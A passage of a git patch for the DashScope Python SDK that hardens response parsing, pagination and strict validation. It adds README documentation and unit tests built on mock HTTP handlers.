T:\n" + " async def f(self, xs):\n" + " async for x in xs:\n" + " yield x\n", + "T", + ) + pair = _Pair("synthetic.py", "T", "T") + exempt = {("synthetic.py", "T", "f"): "sync generator vs async one"} + assert _body_diff(pair, sync, asyn, exempt) == [] + # The exemption is per method: an undeclared one still reports. + other = {("synthetic.py", "T", "g"): "unrelated"} + assert _body_diff(pair, sync, asyn, other) != [] + + +def test_body_check_compares_the_overload_implementation(): + # ``@overload`` repeats a name; the last binding is the implementation on + # both sides, so that is what must be compared -- not a stub. + sync = _bodies_from_source( + "class T:\n" + " @overload\n" + " def f(self, x: int) -> int:\n" + " ...\n" + " def f(self, x):\n" + " return x * 2\n", + "T", + ) + asyn = _bodies_from_source( + "class T:\n" + " @overload\n" + " async def f(self, x: int) -> int:\n" + " ...\n" + " async def f(self, x):\n" + " return await double(x)\n", + "T", + ) + assert "x * 2" in sync["f"] + problems = _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) + assert len(problems) == 1 + assert "double" in problems[0] From 767cd49b4ea4f99fae3317808832de5ded3c70a9 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Tue, 3 Nov 2026 17:49:05 +0800 Subject: [PATCH 08/26] feat: enhance API response handling and resource methods - Fix _parse_model to avoid duplicate fields when aliases are involved - Add timeout and max_retries documentation to RequestOptions - Clarify APIResponse.parse() limitations for custom parsers - Update resource methods with improved error handling - Add comprehensive test coverage for new functionality - Update README documentation with latest features --- README.md | 71 +++++++++++ README_zh.md | 71 +++++++++++ dashscope/resources/_jobs.py | 46 +++++-- dashscope/resources/embeddings.py | 51 ++++++-- dashscope/resources/files.py | 13 +- dashscope/resources/models.py | 73 +++++++++++- dashscope/resources/multimodal/embeddings.py | 12 +- dashscope/transport/_options.py | 13 +- dashscope/transport/_response.py | 8 +- dashscope/types/_parse.py | 15 ++- dashscope/types/pagination.py | 56 ++++++++- tests/test_files_models.py | 95 +++++++++++++++ tests/test_jobs.py | 68 ++++++++++- tests/test_pagination.py | 61 ++++++++++ tests/test_parse_model.py | 48 +++++++- tests/test_tools_resources.py | 119 +++++++++++++++++++ 16 files changed, 781 insertions(+), 39 deletions(-) diff --git a/README.md b/README.md index 1e750e60..8674a462 100644 --- a/README.md +++ b/README.md @@ -183,6 +183,75 @@ resp.request_id All responses share a common envelope: `request_id`, `status_code`, `code`, `message`, `is_error`, and raw `headers`. +### Pagination + +List endpoints return a page object you can iterate and advance instead of looping `page_no` by hand: + +```python +page = client.models.list(page_no=1, page_size=10) + +for model in page: # this page's items + ... +page.total_count # catalog total, as reported by the gateway +page.has_next_page() +page.next_page() # None on the last page + +for page in client.models.list(page_size=50).iter_pages(): # every page + ... +``` + +On `AsyncClient` use `await page.next_page_async()` and `async for page in page.iter_pages_async()`. Calling the synchronous traversal on an async-fetched page raises `TypeError` naming the async method, rather than handing back an un-awaited coroutine. `client.files.list()` and `client.jobs.list()` paginate the same way. + +Serialize a page with `model_dump()`. Iterating a page yields its *items*, so `dict(page)` is not a way to read its fields. + +`models.list(provider=...)` filters client-side: it narrows each page's `models`, while `total_count` stays the whole-catalog total. Pagination therefore walks the unfiltered catalog and the filter is applied to each page as it arrives. + +### Raw responses + +Pass `raw=True` to get the response object itself, before any error check: + +```python +resp = client.models.list(raw=True) + +resp.status_code +resp.headers # includes non-standard gateway headers +resp.request_id +resp.elapsed +resp.json() # decoded body +resp.parse(ModelList) # typed model, memoized per type +``` + +`raw=True` skips the error check, so a 4xx/5xx is returned to you instead of raising. `raise_for_status()` applies it after the fact. + +`parse(...)` needs the model class, and the v2 resource models are not re-exported from the top-level package — import them from where they are defined: + +```python +from dashscope.resources.models import ModelList, Model +from dashscope.resources.files import FileList, File +from dashscope.resources._jobs import Job, JobList +from dashscope.resources.embeddings import EmbeddingResponse +``` + +`resp.parse(...)` is the generic envelope mapping and does not replay a resource's own reshaping — on `models.list`, a page the gateway delivered as a bare list parses through it as empty. Use `resp.json()` when you need exactly what the resource method would have built. + +### Per-request options + +Every resource method takes the same three escape hatches, for anything this SDK does not model yet: + +```python +client.chat.completions.create( + model="qwen-plus", + messages=["hi"], + extra_headers={"x-gateway-experiment": "on"}, + extra_query={"debug": "1"}, + extra_body={"parameters": {"top_k": 5}}, +) +``` + +`extra_headers` sits above every other layer — the SDK identity headers, the client defaults, your `headers=`, and a per-call `api_key=` / `workspace=` — matched case-insensitively. `extra_body` deep-merges nested dicts, so adding one nested field keeps its siblings; lists and scalars replace. A request whose body is not a JSON object (a file upload, raw bytes) has nothing to merge into, so `extra_body` is dropped with a warning rather than silently lost. + +Retries stay a client-level setting; narrow them for a whole client with `client.with_options(max_retries=0)`. + ### Streaming `stream=True` returns a `ChatStream` (`AsyncChatStream` for `AsyncClient`) with typed helpers: @@ -295,6 +364,8 @@ The three `DASHSCOPE_HTTP_*` pool variables are also settable as `http_max_conne By default a response body that does not fit the SDK's typed models is parsed in degraded form — the offending fields fall back to their defaults and the rest of the payload stays usable — with the drift recorded at `DEBUG` on the `dashscope._logging.parse` logger. Set `DASHSCOPE_STRICT_VALIDATION=true` (or `Client(strict_validation=True)`, `settings.strict_validation = True`, `strict_validation = true` in `config.toml`) to raise `APIResponseValidationError` instead, which is what you want in CI or contract tests. Strict validation raises even under `raise_on_error=False`: that flag governs service errors, this one governs parse errors. +Two caveats. `DEBUG` is below the SDK's default log level, so a degraded parse is silent unless you raise it — see [Logging](#logging) — and `strict_validation` is the only way to make drift fail loudly. And the typed-parse path currently covers `chat.completions`, `models`, `files`, `jobs`, `images`, `embeddings` and `multimodal.embeddings`; the remaining surfaces (audio, fine-tuning, apps, decision, deployments, reinforcement learning, rerank, tokenization, tingwu) still construct their models directly and raise a plain `pydantic.ValidationError` on drift, ignoring both settings. + **Config file** (`~/.dashscope/config.toml`): ```toml diff --git a/README_zh.md b/README_zh.md index 87c27332..93f0c41a 100644 --- a/README_zh.md +++ b/README_zh.md @@ -183,6 +183,75 @@ resp.request_id 所有响应共享统一信封:`request_id`、`status_code`、`code`、`message`、`is_error`,以及原始的 `headers`。 +### 分页 + +列表类接口返回一个可迭代、可翻页的页面对象,不必自己循环 `page_no`: + +```python +page = client.models.list(page_no=1, page_size=10) + +for model in page: # 仅当前页的条目 + ... +page.total_count # 网关上报的目录总数 +page.has_next_page() +page.next_page() # 末页返回 None + +for page in client.models.list(page_size=50).iter_pages(): # 遍历所有页 + ... +``` + +`AsyncClient` 上请用 `await page.next_page_async()` 和 `async for page in page.iter_pages_async()`。对异步取回的页面调用同步翻页方法会抛出 `TypeError` 并指明该用哪个异步方法,而不是把一个未 await 的 coroutine 交给你。`client.files.list()` 和 `client.jobs.list()` 的分页方式相同。 + +序列化页面请用 `model_dump()`。迭代页面对象得到的是它的**条目**,所以 `dict(page)` 不是读取字段的方式。 + +`models.list(provider=...)` 是客户端侧过滤:它只收窄每一页的 `models`,而 `total_count` 始终是整个目录的总数。因此翻页走的是未过滤的目录,过滤在每页到达时各自施加。 + +### 原始响应 + +传 `raw=True` 可以拿到响应对象本身,且在任何错误检查之前: + +```python +resp = client.models.list(raw=True) + +resp.status_code +resp.headers # 含网关的非标准响应头 +resp.request_id +resp.elapsed +resp.json() # 解码后的报文体 +resp.parse(ModelList) # 类型化模型,按类型记忆化 +``` + +`raw=True` 会跳过错误检查,所以 4xx/5xx 是返回给你而不是抛异常。事后可以用 `raise_for_status()` 补上这道检查。 + +`parse(...)` 需要模型类本身,而 v2 的资源模型没有从顶层包再导出——请从它们各自定义的模块导入: + +```python +from dashscope.resources.models import ModelList, Model +from dashscope.resources.files import FileList, File +from dashscope.resources._jobs import Job, JobList +from dashscope.resources.embeddings import EmbeddingResponse +``` + +`resp.parse(...)` 走的是通用信封映射,不会重放资源自己的重塑逻辑——对 `models.list` 而言,网关以裸数组形式下发的页经它解析会得到空目录。若你需要与资源方法完全一致的结果,请用 `resp.json()`。 + +### 单次请求定制 + +每个资源方法都接受同样的三个逃生舱,用于承载 SDK 尚未建模的东西: + +```python +client.chat.completions.create( + model="qwen-plus", + messages=["hi"], + extra_headers={"x-gateway-experiment": "on"}, + extra_query={"debug": "1"}, + extra_body={"parameters": {"top_k": 5}}, +) +``` + +`extra_headers` 位于所有其他层之上——SDK 身份头、客户端默认头、你的 `headers=`、以及单次调用的 `api_key=` / `workspace=`——且大小写不敏感匹配。`extra_body` 对嵌套 dict 做深合并,所以新增一个嵌套字段不会丢掉它的兄弟字段;列表和标量则是整体替换。若请求体不是 JSON 对象(文件上传、裸字节),就无处可合并,此时 `extra_body` 会被丢弃并告警,而不是静默丢失。 + +重试仍是客户端级设置;要为整个客户端收窄,用 `client.with_options(max_retries=0)`。 + ### 流式 `stream=True` 返回 `ChatStream`(`AsyncClient` 对应 `AsyncChatStream`),并提供类型化辅助属性: @@ -295,6 +364,8 @@ dashscope.settings.log_level = "INFO" 默认情况下,若响应体与 SDK 的类型模型不符,会走降级解析——出问题的字段回退到各自的默认值,报文中其余部分照常可用——同时把漂移以 `DEBUG` 级别记录到 `dashscope._logging.parse` 这个 logger。设置 `DASHSCOPE_STRICT_VALIDATION=true`(或 `Client(strict_validation=True)`、`settings.strict_validation = True`、`config.toml` 里的 `strict_validation = true`)则改为抛出 `APIResponseValidationError`,这正是 CI 或契约测试想要的行为。严格校验即使在 `raise_on_error=False` 下也会抛错:那个开关管的是服务端错误,这个管的是解析错误。 +两点需要注意。其一,`DEBUG` 低于 SDK 的默认日志级别,所以除非你调高它(见[日志](#日志)),降级解析是无声的——而 `strict_validation` 是让漂移大声失败的唯一手段。其二,类型化解析路径目前覆盖 `chat.completions`、`models`、`files`、`jobs`、`images`、`embeddings` 和 `multimodal.embeddings`;其余接口(语音、微调、应用、决策、部署、强化学习、重排、Token 计数、听悟)仍是直接构造模型,遇到漂移会抛出原始的 `pydantic.ValidationError`,两个开关都不生效。 + **配置文件**(`~/.dashscope/config.toml`): ```toml diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index 33165431..3d27af41 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -25,7 +25,13 @@ Union, ) -from pydantic import AliasChoices, BaseModel, ConfigDict, Field +from pydantic import ( + AliasChoices, + BaseModel, + ConfigDict, + Field, + PrivateAttr, +) from dashscope.errors import ( DashScopeError, @@ -149,6 +155,13 @@ class Job(ResponseBase): output: Optional[Dict[str, Any]] = None usage: Optional[Usage] = None + # ``output`` is an untyped dict, so the parse boundary that built this + # Job validates the envelope but never looks inside it. Carrying the + # mode here is what lets ``results`` be as strict as that boundary was, + # instead of silently degrading under ``strict_validation=True``. + _strict_validation: bool = PrivateAttr(default=False) + _response: Optional["httpx.Response"] = PrivateAttr(default=None) + @property def job_id(self) -> str: """``FineTune`` spells the same identifier ``job_id``.""" @@ -166,15 +179,25 @@ def finished(self) -> bool: def results(self) -> List[JobResult]: """Artifacts the task produced. - Always degrades rather than raising: a property has no client to - read ``strict_validation`` from and no response to attach, so the - strict check belongs to the parse boundary that built this Job. + Parsed with the strictness and the response this Job was built + with (see :meth:`from_payload`), so under ``strict_validation`` + a drifted artifact raises here rather than degrading to ``None``. + A Job built directly rather than through ``from_payload`` has + neither and gets the lenient default. """ - items = (self.output or {}).get("results") or [] + output = self.output or {} + items = output.get("results") + if not isinstance(items, list): + items = [] if not items: - items = _image_choices(self.output or {}) + items = _image_choices(output) return [ - parse_model(JobResult, item) + parse_model( + JobResult, + item, + strict=self._strict_validation, + response=self._response, + ) for item in items if isinstance(item, dict) ] @@ -209,12 +232,19 @@ def from_payload( payload["output"] = output if isinstance(output, dict) else None if not isinstance(payload.get("usage"), dict): payload.pop("usage", None) - return parse_model( + job = parse_model( cls, payload, strict=strict, response=response, ) + # Post-hoc: private attrs are not fields, so parse_model cannot + # carry them through validation or through its construct fallback. + # pylint: disable=protected-access + job._strict_validation = strict + job._response = response + # pylint: enable=protected-access + return job class JobList(BasePage[Job]): diff --git a/dashscope/resources/embeddings.py b/dashscope/resources/embeddings.py index b453277f..7ae803c4 100644 --- a/dashscope/resources/embeddings.py +++ b/dashscope/resources/embeddings.py @@ -36,6 +36,7 @@ Jobs, ) from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -44,6 +45,8 @@ ) if TYPE_CHECKING: + import httpx + from dashscope.transport._response import APIResponse _PATH = "/services/embeddings/text-embedding/text-embedding" @@ -76,9 +79,26 @@ class EmbeddingResponse(ResponseBase): usage: Optional[Usage] = None -def parse_embedding_response(body: Dict[str, Any]) -> EmbeddingResponse: - """Shared by the text and multimodal endpoints: one response shape.""" - output = body.get("output") or {} +def parse_embedding_response( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> EmbeddingResponse: + """Shared by the text and multimodal endpoints: one response shape. + + Built through :func:`~dashscope.types._parse.parse_model` like every + other v2 response parser, so a drifted field degrades instead of + raising a bare ``ValidationError`` -- and ``strict`` reaches it, which + is what makes ``strict_validation`` mean the same thing here as on + ``models`` / ``files`` / ``jobs``. Both endpoints forward the + client's setting, including ``multimodal.embeddings`` on the + pre-``request_api`` transport path, whose ``request`` returns the + same ``httpx.Response``. + """ + output = body.get("output") + if not isinstance(output, dict): + output = {} embeddings = output.get("embeddings") or [] if not embeddings and output.get("embedding"): # multimodal-embedding-one-peace-v1 predates the plural list: it @@ -87,10 +107,15 @@ def parse_embedding_response(body: Dict[str, Any]) -> EmbeddingResponse: # shape regardless of model generation. 1.x exposed the raw key via # response.output["embedding"]; v2 normalizes instead. embeddings = [{"index": 0, "embedding": output["embedding"]}] - return EmbeddingResponse( - embeddings=embeddings, - usage=body.get("usage"), - **response_envelope(body), + return parse_model( + EmbeddingResponse, + { + "embeddings": embeddings, + "usage": body.get("usage"), + **response_envelope(body), + }, + strict=strict, + response=response, ) @@ -509,7 +534,11 @@ def create( return resp resp.raise_for_status() return with_headers( - parse_embedding_response(resp.json()), + parse_embedding_response( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), resp.http_response, ) @@ -607,6 +636,10 @@ async def create( return resp resp.raise_for_status() return with_headers( - parse_embedding_response(resp.json()), + parse_embedding_response( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), resp.http_response, ) diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index 5c400f91..f19edff0 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -130,12 +130,21 @@ def _parse_list( ) -> FileList: data = body.get("data") or {} if isinstance(data, dict): - files = data.get("files") or [] + files = data.get("files") + # A retyped ``files`` would both poison the ``len()`` below (a + # string's length is not a page total) and blow up in the model + # layer's repair of a list field. Empty is the honest reading of + # "not a list", matching ``JobList.from_payload``. + if not isinstance(files, list): + files = [] page_no = data.get("page_no", 1) page_size = data.get("page_size", 10) total = data.get("total", len(files)) else: - files, page_no, page_size, total = data, 1, 10, len(data) + # Only a genuine list can be read as a whole page; ``len()`` on a + # drifted scalar would escape as a bare TypeError from here. + files = data if isinstance(data, list) else [] + page_no, page_size, total = 1, 10, len(files) return parse_model( FileList, { diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index 6c1ef6b2..cd0cee8f 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -32,6 +32,8 @@ from dashscope.types.pagination import BasePage if TYPE_CHECKING: + import httpx + from dashscope.transport._response import APIResponse _BASE_PATH = "/models" @@ -76,6 +78,56 @@ def items(self) -> List[Model]: return self.models +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional[httpx.Response] = None, +) -> ModelList: + """Build a page from the native envelope. + + ``get`` is this same endpoint filtered by query params, and the native + gateway nests its page under ``output``; ``data`` stays accepted for + gateways that re-wrap the page OpenAI-style. + + A body carrying the page as a bare list has no ``page_no`` / ``total`` to + read, so the list is taken as one whole page: the generic envelope + lifter only unwraps a *dict*, and letting this shape through it would + parse as an empty catalog rather than as the malformed one it is. The + ``total`` fallback to ``len(models)`` keeps ``total_count`` meaningful + for gateways that omit it, matching ``files.list``. + """ + data = body.get("output") or body.get("data") or {} + if isinstance(data, dict): + models = data.get("models") + # A retyped ``models`` would both poison the ``len()`` below (a + # string's length is not a page total) and blow up in the model + # layer's repair of a list field. Empty is the honest reading of + # "not a list", matching ``JobList.from_payload``. + if not isinstance(models, list): + models = [] + page_no = data.get("page_no", 1) + page_size = data.get("page_size", 10) + total = data.get("total", len(models)) + else: + # Only a genuine list can be read as a whole page; ``len()`` on a + # drifted scalar would escape as a bare TypeError from here. + models = data if isinstance(data, list) else [] + page_no, page_size, total = 1, 10, len(models) + return parse_model( + ModelList, + { + "page_no": page_no, + "page_size": page_size, + "total_count": total, + "models": models, + **response_envelope(body), + }, + strict=strict, + response=response, + ) + + def _parse_get_models(body: Dict[str, Any]) -> List[Dict[str, Any]]: output = body.get("output") or body.get("data") or {} if isinstance(output, dict): @@ -154,6 +206,11 @@ def list( ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` instead of a ``ModelList``, before any error check, so callers can read the raw response (status, headers, ``elapsed``) or re-parse it. + Note that ``resp.parse(ModelList)`` is the generic envelope mapping + and does not replay this method's own reshaping: a page delivered as + a bare list, or one whose ``total`` the gateway omitted, parses + through it as an empty catalog. Use ``resp.json()`` and + ``_parse_list`` when the raw path has to agree with this one. """ resp = self._client.transport.request_api( "GET", @@ -173,7 +230,11 @@ def list( if raw: return resp resp.raise_for_status() - result = resp.parse(ModelList) + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -191,7 +252,7 @@ def list( extra_body=extra_body, ), ) - return result + return with_headers(result, resp.http_response) @overload def get( @@ -357,7 +418,11 @@ async def list( if raw: return resp resp.raise_for_status() - result = resp.parse(ModelList) + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ) if provider: result.models = [ m for m in result.models if _match_provider(m, provider) @@ -375,7 +440,7 @@ async def list( extra_body=extra_body, ), ) - return result + return with_headers(result, resp.http_response) @overload async def get( diff --git a/dashscope/resources/multimodal/embeddings.py b/dashscope/resources/multimodal/embeddings.py index aee7379d..b728f881 100644 --- a/dashscope/resources/multimodal/embeddings.py +++ b/dashscope/resources/multimodal/embeddings.py @@ -178,7 +178,11 @@ def create( # pylint: disable=too-many-arguments ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - parse_embedding_response(response_json(response)), + parse_embedding_response( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -240,6 +244,10 @@ async def create( # pylint: disable=too-many-arguments ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - parse_embedding_response(response_json(response)), + parse_embedding_response( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) diff --git a/dashscope/transport/_options.py b/dashscope/transport/_options.py index 8299ae07..aac7584d 100644 --- a/dashscope/transport/_options.py +++ b/dashscope/transport/_options.py @@ -6,10 +6,15 @@ ``extra_headers`` / ``extra_query`` / ``extra_body`` -- and hands them to the transport as one :class:`RequestOptions`. They exist so a caller can attach something this SDK does not model yet (a gateway experiment flag, -a parameter a newer backend added) without waiting for a release, and so -``max_retries`` can be narrowed for one call -- a long-running job -submission that must not be replayed, without deriving a second client -through ``with_options`` just to change that one number. +a parameter a newer backend added) without waiting for a release. + +``timeout`` and ``max_retries`` are honored by the transports but are +*not yet reachable from a resource method*: no resource signature takes +them and :func:`request_options` does not forward them, so today the only +way to narrow retries for one call is a derived client +(``client.with_options(max_retries=0)``). Wiring the last mile means +adding the parameter to every resource signature and overload; until +that lands, do not read the fields below as caller-facing. ``None`` means "no opinion" everywhere here, so a call that sets no option behaves exactly as it did before this channel existed. Header diff --git a/dashscope/transport/_response.py b/dashscope/transport/_response.py index 4f0d07d5..d1c8b6c7 100644 --- a/dashscope/transport/_response.py +++ b/dashscope/transport/_response.py @@ -177,8 +177,12 @@ def parse(self, cast_to: Optional[Type[T]] = None) -> Any: This is the generic direct-mapping path. Resources whose body needs reshaping beyond the envelope -- one item picked out of a list, a - legacy singular field folded into a plural one -- keep their own - parser and read :meth:`json` instead. + legacy singular field folded into a plural one, a page delivered as + a bare array -- keep their own parser and read :meth:`json` instead. + ``parse`` does not replay that reshaping, so on such an endpoint + ``resource.method(raw=True).parse(Model)`` can return less than + ``resource.method()`` did for the very same body. Read the + resource's own docstring before relying on the raw path's parse. """ if cast_to is None: return self.json() diff --git a/dashscope/types/_parse.py b/dashscope/types/_parse.py index c74f4d47..a960404f 100644 --- a/dashscope/types/_parse.py +++ b/dashscope/types/_parse.py @@ -45,6 +45,7 @@ List, Mapping, Optional, + Set, Tuple, Type, TypeVar, @@ -393,21 +394,29 @@ def _construct_degraded( ``model_construct`` ignores aliases, so alias-keyed entries are renamed to field names first; anything left over is an extra and - rides along, which ``extra="allow"`` keeps readable. + rides along, which ``extra="allow"`` keeps readable. A key that + became a field is not *also* an extra -- carrying both makes + ``model_dump()`` emit the value twice (``open_source`` alongside the + wire spelling ``opensource``), which then fails to round-trip into an + ``extra="forbid"`` model. """ fields = cls.model_fields aliases = _alias_map(cls) kwargs: Dict[str, Any] = {} extras: Dict[str, Any] = {} + consumed: Set[str] = set() for key, value in salvaged.items(): if key in fields: kwargs[key] = value - else: - extras[key] = value + consumed.add(key) for key, value in salvaged.items(): name = aliases.get(key) if name is not None and name not in kwargs: kwargs[name] = value + consumed.add(key) + for key, value in salvaged.items(): + if key not in consumed: + extras[key] = value instance = cls.model_construct(**kwargs, **extras) _rerun_after_validators(cls, instance) return instance diff --git a/dashscope/types/pagination.py b/dashscope/types/pagination.py index b5b24d26..8de661f3 100644 --- a/dashscope/types/pagination.py +++ b/dashscope/types/pagination.py @@ -42,6 +42,42 @@ T = TypeVar("T") +_ASYNC_TRAVERSAL_HINT = ( + "this page was fetched through AsyncClient, so advancing it is a " + "coroutine; use next_page_async() or iter_pages_async() instead of the " + "synchronous traversal" +) + + +def _reject_async_callback(callback: Callable[[int, int], Any]) -> None: + """Best-effort early refusal of a sync traversal over an async page. + + Fires when the resource bound the coroutine function itself. Resources + that bind a closure around it (``lambda no, size: self.list(...)``) are + not coroutine functions and are caught later, by + :func:`_reject_awaitable_page`. + """ + if inspect.iscoroutinefunction(callback): + raise TypeError(_ASYNC_TRAVERSAL_HINT) + + +def _reject_awaitable_page(result: Any) -> Any: + """Refuse a page that came back un-awaited, and say which method to use. + + One class serves both clients, so nothing static stops a caller from + pairing an async-fetched page with the synchronous traversal. Handing + back the coroutine instead would let it read as a page and fail two + frames later with ``AttributeError``, naming neither the mistake nor the + fix; the coroutine is closed first so it does not also leak a + ``RuntimeWarning`` about never having been awaited. + """ + if not inspect.isawaitable(result): + return result + close = getattr(result, "close", None) + if callable(close): + close() + raise TypeError(_ASYNC_TRAVERSAL_HINT) + class BasePage(ResponseBase, Generic[T]): """One page of an offset-paginated list, with traversal helpers. @@ -100,11 +136,16 @@ def next_page(self) -> Optional["BasePage[T]"]: """Fetch the following page, or ``None`` at the end of the list. Returns ``None`` when there is no next page or when no fetch callback - was injected (a standalone page cannot advance itself). + was injected (a standalone page cannot advance itself). Raises + ``TypeError`` on a page fetched through ``AsyncClient`` -- use + :meth:`next_page_async` there. """ if not self.has_next_page() or self._fetch_next is None: return None - return self._fetch_next(self.page_no + 1, self.page_size) + _reject_async_callback(self._fetch_next) + return _reject_awaitable_page( + self._fetch_next(self.page_no + 1, self.page_size), + ) async def next_page_async(self) -> Optional["BasePage[T]"]: """Async :meth:`next_page`; awaits the callback when it is a coroutine.""" @@ -129,7 +170,16 @@ async def _gen() -> AsyncIterator[T]: return _gen() def iter_pages(self) -> Iterator["BasePage[T]"]: - """Yield this page and every following one, advancing via :meth:`next_page`.""" + """Yield this page and every following one, advancing via :meth:`next_page`. + + Raises ``TypeError`` on a page fetched through ``AsyncClient``; use + :meth:`iter_pages_async` there. When the resource bound the coroutine + function directly the refusal happens before anything is yielded; + when it bound a closure around one, the first page is yielded and the + advance that follows raises. + """ + if self._fetch_next is not None: + _reject_async_callback(self._fetch_next) page: Optional["BasePage[T]"] = self while page is not None: yield page diff --git a/tests/test_files_models.py b/tests/test_files_models.py index a1e14bbf..a5941333 100644 --- a/tests/test_files_models.py +++ b/tests/test_files_models.py @@ -397,6 +397,101 @@ def handler(request): assert page.request_id == "req-page" +def test_models_list_falls_back_to_item_count_when_total_missing(): + # Gateways that omit ``total`` still have to report a meaningful + # ``total_count``: reading the field default would show an empty + # catalog for a page that clearly has entries. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-no-total", + "output": { + "page_no": 1, + "page_size": 10, + "models": [ + {"model": "qwen-plus", "source": "dashscope"}, + {"model": "qwen3-max", "source": "bailian"}, + ], + }, + }, + ) + + page = _make_client(handler).models.list() + assert [m.model for m in page.models] == ["qwen-plus", "qwen3-max"] + assert page.total_count == 2 + + +def test_models_list_parses_a_bare_list_page(): + # A page delivered as a bare list carries no ``page_no`` / ``total`` to + # read, so it is taken as one whole page. The generic envelope lifter + # only unwraps a dict, which parsed this shape as an empty catalog. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-bare-list", + "output": [ + {"model": "qwen-plus", "source": "dashscope"}, + {"model": "qwen3-max", "source": "bailian"}, + ], + }, + ) + + page = _make_client(handler).models.list() + assert [m.model for m in page.models] == ["qwen-plus", "qwen3-max"] + assert page.page_no == 1 + assert page.total_count == 2 + assert page.request_id == "req-bare-list" + + +def test_models_list_retyped_models_does_not_poison_the_total(): + # ``total`` falls back to ``len(models)``, and the length of a drifted + # string is not a page total: without a guard this reported a 10-item + # catalog for a page that repaired down to zero entries. + def handler(request): + return httpx.Response( + 200, + json={"request_id": "req-str", "output": {"models": "nope"}}, + ) + + page = _make_client(handler).models.list() + assert page.models == [] + assert page.total_count == 0 + + +def test_models_list_scalar_page_degrades_instead_of_raising(): + # ``len()`` on a scalar page would escape as a bare TypeError from the + # resource, outside any ``except DashScopeError`` the caller has. + def handler(request): + return httpx.Response(200, json={"request_id": "req-n", "output": 5}) + + page = _make_client(handler).models.list() + assert page.models == [] + assert page.total_count == 0 + + +def test_files_list_retyped_files_does_not_poison_the_total(): + def handler(request): + return httpx.Response( + 200, + json={"request_id": "req-fs", "data": {"files": "nope"}}, + ) + + page = _make_client(handler).files.list() + assert page.files == [] + assert page.total_count == 0 + + +def test_files_list_scalar_page_degrades_instead_of_raising(): + def handler(request): + return httpx.Response(200, json={"request_id": "req-fn", "data": 5}) + + page = _make_client(handler).files.list() + assert page.files == [] + assert page.total_count == 0 + + def test_models_list_carries_raw_response_headers(): # Uniform success-path contract: every HTTP resource mirrors the # gateway's response headers on ``resp.headers`` (1.x parity). diff --git a/tests/test_jobs.py b/tests/test_jobs.py index a720070d..ac8277d9 100644 --- a/tests/test_jobs.py +++ b/tests/test_jobs.py @@ -14,7 +14,7 @@ import pytest from dashscope import AsyncClient, Client -from dashscope.errors import DashScopeError +from dashscope.errors import APIResponseValidationError, DashScopeError from dashscope.resources._jobs import AsyncJobs, Job, JobList, Jobs BASE_URL = "https://api.test.local/api/v1" @@ -85,6 +85,72 @@ def test_job_from_payload(): assert job.usage.image_count == 1 +def test_results_degrades_under_lenient_parsing(): + # ``output`` is an untyped dict, so nothing at the parse boundary + # inspects ``results``; the typed view is the only place the drift can + # be caught, and by default it keeps the artifact rather than raising. + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": 12345}]), + ) + assert [r.url for r in job.results] == [None] + assert job.image_urls == [] + + +def test_results_raises_under_strict_validation(): + # The mode the Job was built with has to reach the typed view, or + # strict mode silently misses exactly the drift it exists to catch. + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": 12345}]), + strict=True, + ) + with pytest.raises(APIResponseValidationError): + _ = job.results + + +def test_strict_results_still_reads_a_healthy_payload(): + job = Job.from_payload( + _job_body("SUCCEEDED", results=[{"url": "https://cdn/a.png"}]), + strict=True, + ) + assert job.image_urls == ["https://cdn/a.png"] + assert job.result_url == "https://cdn/a.png" + + +def test_directly_built_job_has_no_strict_mode_to_inherit(): + # Only ``from_payload`` knows the client's setting; a Job a caller + # builds by hand keeps the lenient default instead of raising. + job = Job( + task_id="task-9", + status="SUCCEEDED", + output={"results": [{"url": 12345}]}, + ) + assert [r.url for r in job.results] == [None] + + +def test_results_survives_a_retyped_results_container(): + # ``for item in 5`` would escape as a bare TypeError from a property, + # outside any ``except DashScopeError`` the caller has. + job = Job.from_payload(_job_body("SUCCEEDED", results=5)) + assert job.results == [] + + +def test_results_falls_back_to_choices_when_results_is_retyped(): + job = Job.from_payload( + { + "request_id": "req-1", + "output": { + "task_id": "task-1", + "task_status": "SUCCEEDED", + "results": "none", + "choices": [ + {"message": {"content": [{"image": "https://cdn/b.png"}]}}, + ], + }, + }, + ) + assert job.image_urls == ["https://cdn/b.png"] + + def test_create_submits_async_task(): captured = {} diff --git a/tests/test_pagination.py b/tests/test_pagination.py index 94430d26..8b11b7d5 100644 --- a/tests/test_pagination.py +++ b/tests/test_pagination.py @@ -4,6 +4,7 @@ from __future__ import annotations +import warnings from typing import Any, Dict, List import httpx @@ -239,6 +240,66 @@ async def test_models_async_iter_current_page(): assert [m.model async for m in page] == ["m0", "m1"] +@pytest.mark.asyncio +async def test_models_async_page_rejects_sync_next_page(): + # One BasePage serves both clients, so nothing static stops a caller + # from pairing an async-fetched page with the sync traversal. The + # resource binds a closure, not the coroutine function itself, so the + # refusal has to come from the un-awaited result rather than from + # inspecting the callback. + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + with pytest.raises(TypeError, match="next_page_async"): + 